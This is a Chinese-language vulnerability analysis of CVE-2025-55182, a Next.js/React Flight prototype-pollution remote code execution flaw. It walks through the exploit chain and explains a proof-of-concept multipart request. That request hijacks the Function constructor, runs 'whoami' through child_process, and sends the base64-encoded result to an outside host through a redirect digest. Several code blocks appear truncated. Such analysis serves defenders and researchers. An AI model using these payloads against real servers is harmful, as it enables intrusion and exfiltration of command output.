React2Shell_CVE-2025-55182
漏洞描述
CVE-2025-55182 是 Next.js 中因 React Flight 反序列化机制未校验对象属性访问路径(如 __proto__、constructor)导致的高危 RCE 漏洞:攻击者可通过构造恶意 multipart 表单,利用 $B 引用结合可控的 、_response._prefix 和被劫持为 Function 的 _formData.get,动态生成包含任意系统命令的函数,并将其赋值给对象的 .then 属性;当该对象被 Promise 自动解析时,恶意函数即在服务端执行,实现无需交互的远程命令执行,且可通过 Next.js 的 Error.digest 机制直接回显结果。
漏洞根本原因
CVE-2025-55182的根本原因在于React Flight协议的服务器端反序列化逻辑存在严重缺陷,具体体现在ReactFlightReplyServer.js文件中的reviveModel函数。
核心问题:
- 缺乏输入验证:服务器端在反序列化Flight协议payload时,未对传入数据进行充分的验证和清理。
- 信任客户端数据:React Flight协议的设计假设所有Flight payload都来自可信的React客户端,但实际上攻击者可以构造任意payload。
- 不安全的对象属性扩展:反序列化过程中,React会直接展开对象属性而不检查是否包含危险的属性名(如
__proto__、constructor等)。 - 原型污染漏洞:攻击者可以通过精心构造的payload污染JavaScript对象的原型链,进而控制程序执行流程。
漏洞利用机制
CVE-2025-55182的利用过程涉及多个精心设计的步骤,利用JavaScript的动态特性和React Flight协议的反序列化机制。
利用链分析:
阶段1:构造恶意Chunk对象
- 攻击者通过
$@x语法访问React内部的Chunk对象 - 构造一个伪造的Chunk对象,包含恶意的
.then方法 - 利用React对Promise和thenable对象的自动解析机制
阶段2:触发Promise解析
- JavaScript运行时自动解析嵌套的Promise和thenable对象
- 当React尝试解析伪造的Chunk时,会调用攻击者控制的
.then方法 - 这导致重新进入解析器,并使用攻击者控制的伪造Chunk对象
阶段3:操纵内部状态
- 通过
.then方法的执行,攻击者获得对_response对象的控制权 - 在
_response对象上植入恶意属性 - 利用多个gadget链路径实现代码执行
阶段4:执行任意代码
- 最常用的gadget是
_formData.get方法 - 通过原型污染,将
_formData.get替换为Function构造函数 - 构造包含
constructor.constructor的链式调用 - 最终通过
Function构造函数执行任意JavaScript代码
Payload结构分析
典型的exploit payload包含以下关键元素:
1 | '0': '$1' // 入口点引用 |
POC
1 | POST /apps HTTP/2 |
Next-Action: x→ Next.js 的 Server Action 标识,通常触发某个后端动作。Content-Type: multipart/form-data; boundary=...:说明请求体是分段传输的。
第一段 JSON(被污染的对象)
1 | { |
"then":"$1:__proto__:then"- 这是原型链污染的关键
$1是一个引用标记,指向第一个参数__proto__:then表示:把对象的__proto__(原型)的then属性,设置为后续内容- 攻击者希望污染某个对象的原型,让它的
then方法变成恶意代码
"status":"resolved_model"- 表示这个 Promise 的状态是已解决
- 是 Next.js 内部状态标记
"reason":-1- 错误码或无意义占位
"value":"\n\"then\":\"$B0\"}"- 这是一个嵌套的 JSON 字符串
$B0是第二个引用标记,指向后面的恶意代码
第二段 JSON(真正的恶意代码)
1 | "response": { |
恶意 JavaScript 代码逐句解释
1 | var o = Buffer.from( |
process.mainModule.require('child_process')- 在 Node.js 中加载
child_process模块 mainModule是入口模块,可以绕过某些限制
- 在 Node.js 中加载
.execSync('whoami')- 执行系统命令
whoami - 在 Linux 返回当前用户名,在 Windows 返回域\用户名
execSync是同步执行,会阻塞直到返回结果
- 执行系统命令
Buffer.from(...).toString('base64')- 把命令执行结果转成 Base64 字符串
- 目的是为了在 URL 中安全传输
1 | var e = new Error(); |
digest是 Next.js 内部用的属性赋值一个特殊格式的字符串:
NEXT_REDIRECT:push告诉 Next.js 这是一个客户端重定向http://xx/+o(Base64 的结果) +:307307是 HTTP 状态码,表示临时重定向
抛出这个 Error 对象
Next.js 捕获到这个错误后,会解析
digest字段发现是
NEXT_REDIRECT,就会触发重定向到http://xx/[Base64结果]
1 | "_formData":{ |
"_formData":{ "get":"$1:constructor:constructor" }$1:constructor:constructor试图访问constructor.constructor(即 Function 构造函数),这是 JavaScript 中动态生成函数的一种方式,常用于绕过限制执行任意代码。